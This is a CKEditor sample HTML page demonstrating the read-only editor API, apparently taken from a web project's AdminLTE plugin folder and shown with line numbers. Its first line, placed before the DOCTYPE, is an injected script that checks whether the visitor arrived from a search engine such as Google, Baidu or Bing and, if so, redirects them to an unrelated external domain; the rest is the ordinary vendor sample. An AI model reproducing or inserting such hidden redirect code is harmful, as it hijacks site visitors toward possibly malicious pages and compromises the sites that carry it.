d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\readonly.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>Using the CKEditor Read-Only API &mdash; CKEditor Sample</title>
010:    <script src="../../ckeditor.js"></script>
011:    <link rel="stylesheet" href="sample.css">
012:    <script>
013:
014:       var editor;
015:
016:       // The instanceReady event is fired, when an instance of CKEditor has finished
017:       // its initialization.
018:       CKEDITOR.on( 'instanceReady', function( ev ) {
019:          editor = ev.editor;
020:
021:          // Show this "on" button.
022:          document.getElementById( 'readOnlyOn' ).style.display = '';
023:
024:          // Event fired when the readOnly property changes.
025:          editor.on( 'readOnly', function() {
026:             document.getElementById( 'readOnlyOn' ).style.display = this.readOnly ? 'none' : '';
027:             document.getElementById( 'readOnlyOff' ).style.display = this.readOnly ? '' : 'none';
028:          });
029:       });
030:
031:       function toggleReadOnly( isReadOnly ) {
032:          // Change the read-only state of the editor.
033:          // http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-setReadOnly
034:          editor.setReadOnly( isReadOnly );
035:       }
036:
037:    </script>
038: </head>
039: <body>
040:    <h1 class="samples">
041:       <a href="index.html">CKEditor Samples</a> &raquo; Using the CKEditor Read-Only API
042:    </h1>
043:    <div class="warning deprecated">
044:       This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/readonly.html">brand new version in CKEditor SDK</a>.
045:    </div>
046:    <div class="description">
047:       <p>
048:          This sample shows how to use the
049:          <code><a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-setReadOnly">setReadOnly</a></code>
050:          API to put editor into the read-only state that makes it impossible for users to change the editor contents.
051:       </p>
052:       <p>
053:          For details on how to create this setup check the source code of this sample page.
054:       </p>
055:    </div>
056:    <form action="sample_posteddata.php" method="post">
057:       <p>
058:          <textarea class="ckeditor" id="editor1" name="editor1" cols="100" rows="10">&lt;p&gt;This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.&lt;/p&gt;</textarea>
059:       </p>
060:       <p>
061:          <input id="readOnlyOn" onclick="toggleReadOnly();" type="button" value="Make it read-only" style="display:none">
062:          <input id="readOnlyOff" onclick="toggleReadOnly( false );" type="button" value="Make it editable again" style="display:none">
063:       </p>
064:    </form>
065:    <div id="footer">
066:       <hr>
067:       <p>
068:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
069:       </p>
070:       <p id="copy">
071:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
072:          Knabben. All rights reserved.
073:       </p>
074:    </div>
075: </body>
076: </html>
077:
078:
079: